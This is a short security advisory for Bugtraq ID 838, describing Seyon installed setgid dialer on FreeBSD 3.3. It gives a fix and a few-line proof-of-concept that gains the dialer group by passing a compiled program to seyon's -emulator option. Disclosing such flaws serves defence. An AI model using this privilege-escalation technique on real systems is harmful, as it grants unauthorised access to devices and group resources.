FreeBSD Seyon setgid dialer Vulnerability

BID:838

Info

FreeBSD Seyon setgid dialer Vulnerability

Bugtraq ID: 838
Class: Configuration Error
CVE: CVE-1999-0820
CVE-1999-0821
Remote: No
Local: Yes
Published: Dec 01 1999 12:00AM
Updated: Jul 11 2009 12:56AM
Credit: First posted to BugTraq by Brock Tellier <[email protected]> on December 1, 1999.
Vulnerable: FreeBSD FreeBSD 3.3
Not Vulnerable:

Discussion

FreeBSD Seyon setgid dialer Vulnerability

FreeBSD 3.3-RELEASE ships with Seyon, a communications program which is known to have several vulnerabilities which can allow for a malicious user to elevate priviliges. The vulnerability, however, is that seyon is still installed setgid dialer in FreeBSD. When seyon is exploited, a local user can grant him/herself priviliges which allow access to the communications devices or anything else accessable by the group dialer.

Exploit / POC

FreeBSD Seyon setgid dialer Vulnerability

One of the methods to exploit seyon is shown below:

bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' &gt; id.c
bash-2.03$ gcc -o id id.c
bash-2.03$ seyon -emulator ./id
uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer), 1000(xnec)

Solution / Fix

FreeBSD Seyon setgid dialer Vulnerability

Solution:
Remove the setgid bit from seyon.

References

FreeBSD Seyon setgid dialer Vulnerability

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